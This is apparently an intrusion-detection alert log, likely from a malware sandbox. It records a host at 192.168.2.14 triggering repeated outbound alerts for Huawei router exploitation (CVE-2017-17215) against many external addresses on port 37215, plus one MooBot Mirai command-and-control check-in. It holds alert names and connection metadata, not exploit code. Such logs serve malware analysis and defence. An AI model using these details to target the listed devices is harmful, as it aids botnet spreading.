ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.96.41.58

Timestamp:	2024-08-01T15:35:21.890509+0200
SID:	2835222
Source Port:	57312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 216.43.239.184

Timestamp:	2024-08-01T15:36:14.831218+0200
SID:	2835222
Source Port:	52930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 189.106.112.221

Timestamp:	2024-08-01T15:36:18.249503+0200
SID:	2835222
Source Port:	53628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.55.174.190

Timestamp:	2024-08-01T15:36:49.568439+0200
SID:	2835222
Source Port:	47236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 183.198.199.253

Timestamp:	2024-08-01T15:36:09.890007+0200
SID:	2835222
Source Port:	37526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.191.74.75

Timestamp:	2024-08-01T15:35:20.210425+0200
SID:	2835222
Source Port:	39214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.177.87.219

Timestamp:	2024-08-01T15:35:17.038531+0200
SID:	2835222
Source Port:	49482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.95.190

Timestamp:	2024-08-01T15:35:21.906861+0200
SID:	2835222
Source Port:	50658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.159.84.225

Timestamp:	2024-08-01T15:36:46.292421+0200
SID:	2835222
Source Port:	48262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 168.213.214.59

Timestamp:	2024-08-01T15:35:43.352394+0200
SID:	2835222
Source Port:	44060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.54.8.114

Timestamp:	2024-08-01T15:35:20.210126+0200
SID:	2835222
Source Port:	54836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.138.20.161

Timestamp:	2024-08-01T15:36:49.651565+0200
SID:	2835222
Source Port:	49214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.195.114.238

Timestamp:	2024-08-01T15:35:20.203720+0200
SID:	2835222
Source Port:	52222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.135.198.113

Timestamp:	2024-08-01T15:35:21.938116+0200
SID:	2835222
Source Port:	40734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.223.207.56

Timestamp:	2024-08-01T15:36:56.028653+0200
SID:	2835222
Source Port:	35304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.235.197.244

Timestamp:	2024-08-01T15:35:21.905837+0200
SID:	2835222
Source Port:	38676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 186.43.81.110

Timestamp:	2024-08-01T15:36:26.557585+0200
SID:	2835222
Source Port:	55944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 61.43.155.73

Timestamp:	2024-08-01T15:35:16.695616+0200
SID:	2835222
Source Port:	59086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.226.117

Timestamp:	2024-08-01T15:36:22.457613+0200
SID:	2835222
Source Port:	51940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.99.211.31

Timestamp:	2024-08-01T15:35:21.905878+0200
SID:	2835222
Source Port:	47192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.130.198

Timestamp:	2024-08-01T15:35:33.066771+0200
SID:	2835222
Source Port:	43016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.68.28.149

Timestamp:	2024-08-01T15:35:21.928340+0200
SID:	2835222
Source Port:	54016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.6.132.201

Timestamp:	2024-08-01T15:35:50.297012+0200
SID:	2835222
Source Port:	34904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.60.134.183

Timestamp:	2024-08-01T15:35:21.870746+0200
SID:	2835222
Source Port:	47894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.85.61.54

Timestamp:	2024-08-01T15:35:20.605724+0200
SID:	2835222
Source Port:	56422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.105.120.149

Timestamp:	2024-08-01T15:36:46.307101+0200
SID:	2835222
Source Port:	41862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.165.117.112

Timestamp:	2024-08-01T15:36:39.310696+0200
SID:	2835222
Source Port:	36048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.183.80.132

Timestamp:	2024-08-01T15:36:39.487710+0200
SID:	2835222
Source Port:	60014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.6.79.92

Timestamp:	2024-08-01T15:35:20.210085+0200
SID:	2835222
Source Port:	42394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.80.73.130

Timestamp:	2024-08-01T15:36:28.950018+0200
SID:	2835222
Source Port:	52754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.54.121.238

Timestamp:	2024-08-01T15:36:39.040913+0200
SID:	2835222
Source Port:	56726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 61.238.39.217

Timestamp:	2024-08-01T15:36:09.865799+0200
SID:	2835222
Source Port:	51764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.114.215.88

Timestamp:	2024-08-01T15:35:21.888207+0200
SID:	2835222
Source Port:	44184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.164.223.141

Timestamp:	2024-08-01T15:36:28.863056+0200
SID:	2835222
Source Port:	47772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.178.206.166

Timestamp:	2024-08-01T15:35:48.348161+0200
SID:	2835222
Source Port:	59488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.120.194.104

Timestamp:	2024-08-01T15:35:20.210380+0200
SID:	2835222
Source Port:	46614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.130.112.53

Timestamp:	2024-08-01T15:35:37.210201+0200
SID:	2835222
Source Port:	49286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.224.146

Timestamp:	2024-08-01T15:35:21.831765+0200
SID:	2835222
Source Port:	47098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.21.100.193

Timestamp:	2024-08-01T15:36:26.556864+0200
SID:	2835222
Source Port:	55286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.194.129.160

Timestamp:	2024-08-01T15:35:20.209016+0200
SID:	2835222
Source Port:	37618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.38.171.167

Timestamp:	2024-08-01T15:36:53.713327+0200
SID:	2835222
Source Port:	44512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.25.156.165

Timestamp:	2024-08-01T15:36:28.685916+0200
SID:	2835222
Source Port:	39502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.37.251.152

Timestamp:	2024-08-01T15:35:45.405406+0200
SID:	2835222
Source Port:	34330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.76.170.159

Timestamp:	2024-08-01T15:36:09.901111+0200
SID:	2835222
Source Port:	41734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.249.159.131

Timestamp:	2024-08-01T15:36:18.277594+0200
SID:	2835222
Source Port:	35794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.6.154.255

Timestamp:	2024-08-01T15:35:20.202651+0200
SID:	2835222
Source Port:	34110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.28.75.242

Timestamp:	2024-08-01T15:35:40.262681+0200
SID:	2835222
Source Port:	41400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.25.222

Timestamp:	2024-08-01T15:35:35.135285+0200
SID:	2835222
Source Port:	47450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 210.71.47.173

Timestamp:	2024-08-01T15:35:20.210507+0200
SID:	2835222
Source Port:	42132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.190.55.55

Timestamp:	2024-08-01T15:35:16.495808+0200
SID:	2835222
Source Port:	36160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.12.110.94

Timestamp:	2024-08-01T15:36:09.887660+0200
SID:	2835222
Source Port:	56530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.83.133.18

Timestamp:	2024-08-01T15:36:51.579532+0200
SID:	2835222
Source Port:	55672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.248.180.213

Timestamp:	2024-08-01T15:36:15.558636+0200
SID:	2835222
Source Port:	39904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.242.135.118

Timestamp:	2024-08-01T15:36:28.943874+0200
SID:	2835222
Source Port:	60518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 159.64.115.51

Timestamp:	2024-08-01T15:36:53.697401+0200
SID:	2835222
Source Port:	60192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 112.128.136.30

Timestamp:	2024-08-01T15:35:21.880478+0200
SID:	2835222
Source Port:	53610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 129.170.86.164

Timestamp:	2024-08-01T15:35:50.291032+0200
SID:	2835222
Source Port:	46018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.239.238.45

Timestamp:	2024-08-01T15:36:11.932310+0200
SID:	2835222
Source Port:	44788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.50.190.2

Timestamp:	2024-08-01T15:35:21.832703+0200
SID:	2835222
Source Port:	57066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 66.156.73.237

Timestamp:	2024-08-01T15:35:20.216401+0200
SID:	2835222
Source Port:	41566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.121.155.108

Timestamp:	2024-08-01T15:35:21.928807+0200
SID:	2835222
Source Port:	34372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.112.168.9

Timestamp:	2024-08-01T15:35:20.202995+0200
SID:	2835222
Source Port:	54344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.189.16.221

Timestamp:	2024-08-01T15:35:21.872323+0200
SID:	2835222
Source Port:	46078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.242.58.8

Timestamp:	2024-08-01T15:36:28.683995+0200
SID:	2835222
Source Port:	49354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 73.38.23.67

Timestamp:	2024-08-01T15:35:21.883722+0200
SID:	2835222
Source Port:	42660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.190.182.178

Timestamp:	2024-08-01T15:36:01.488849+0200
SID:	2835222
Source Port:	57176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 8.35.1.224

Timestamp:	2024-08-01T15:36:22.371844+0200
SID:	2835222
Source Port:	55084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.182.242.227

Timestamp:	2024-08-01T15:35:40.240011+0200
SID:	2835222
Source Port:	40114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 154.98.125.183

Timestamp:	2024-08-01T15:36:22.850868+0200
SID:	2835222
Source Port:	58776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.24.102.79

Timestamp:	2024-08-01T15:36:36.950670+0200
SID:	2835222
Source Port:	54444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.174.177

Timestamp:	2024-08-01T15:36:48.588960+0200
SID:	2835222
Source Port:	48406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 210.144.3.248

Timestamp:	2024-08-01T15:36:29.403130+0200
SID:	2835222
Source Port:	33674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.172.52.42

Timestamp:	2024-08-01T15:35:20.204019+0200
SID:	2835222
Source Port:	42208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 32.132.7.31

Timestamp:	2024-08-01T15:35:20.209438+0200
SID:	2835222
Source Port:	35898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.18.236.36

Timestamp:	2024-08-01T15:35:20.205899+0200
SID:	2835222
Source Port:	44882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.243.28.138

Timestamp:	2024-08-01T15:35:21.932461+0200
SID:	2835222
Source Port:	33408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.18.122.158

Timestamp:	2024-08-01T15:36:48.379387+0200
SID:	2835222
Source Port:	51986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.123.207.16

Timestamp:	2024-08-01T15:36:24.915564+0200
SID:	2835222
Source Port:	39774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.141.133.53

Timestamp:	2024-08-01T15:35:21.939623+0200
SID:	2835222
Source Port:	39480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 206.53.65.154

Timestamp:	2024-08-01T15:35:21.918858+0200
SID:	2835222
Source Port:	37276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.67.206.172

Timestamp:	2024-08-01T15:35:58.805785+0200
SID:	2835222
Source Port:	34412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.245.6.240

Timestamp:	2024-08-01T15:36:01.470671+0200
SID:	2835222
Source Port:	54652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.9.218

Timestamp:	2024-08-01T15:36:53.776576+0200
SID:	2835222
Source Port:	37892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:43.436783+0200
SID:	2030490
Source Port:	49432
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 200.156.103.209

Timestamp:	2024-08-01T15:35:20.203810+0200
SID:	2835222
Source Port:	36586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.220.12.142

Timestamp:	2024-08-01T15:36:22.455303+0200
SID:	2835222
Source Port:	47962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.89.79

Timestamp:	2024-08-01T15:36:34.892325+0200
SID:	2835222
Source Port:	60356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.84.194.246

Timestamp:	2024-08-01T15:35:17.184674+0200
SID:	2835222
Source Port:	40864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.61.178.128

Timestamp:	2024-08-01T15:36:20.294204+0200
SID:	2835222
Source Port:	50622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.190.154.11

Timestamp:	2024-08-01T15:36:22.358810+0200
SID:	2835222
Source Port:	60708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 2.233.87.191

Timestamp:	2024-08-01T15:35:20.545268+0200
SID:	2835222
Source Port:	39718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.28.227.240

Timestamp:	2024-08-01T15:36:16.166780+0200
SID:	2835222
Source Port:	55436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 163.215.217.74

Timestamp:	2024-08-01T15:36:24.713323+0200
SID:	2835222
Source Port:	41568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.96.34.47

Timestamp:	2024-08-01T15:35:17.240960+0200
SID:	2835222
Source Port:	58456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.186.76.34

Timestamp:	2024-08-01T15:36:29.060599+0200
SID:	2835222
Source Port:	33008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.171.17.204

Timestamp:	2024-08-01T15:35:20.210208+0200
SID:	2835222
Source Port:	34792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.149.19.54

Timestamp:	2024-08-01T15:35:21.839163+0200
SID:	2835222
Source Port:	48382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.25.92.177

Timestamp:	2024-08-01T15:35:17.250934+0200
SID:	2835222
Source Port:	34888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.206.139.104

Timestamp:	2024-08-01T15:35:16.429868+0200
SID:	2835222
Source Port:	53402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

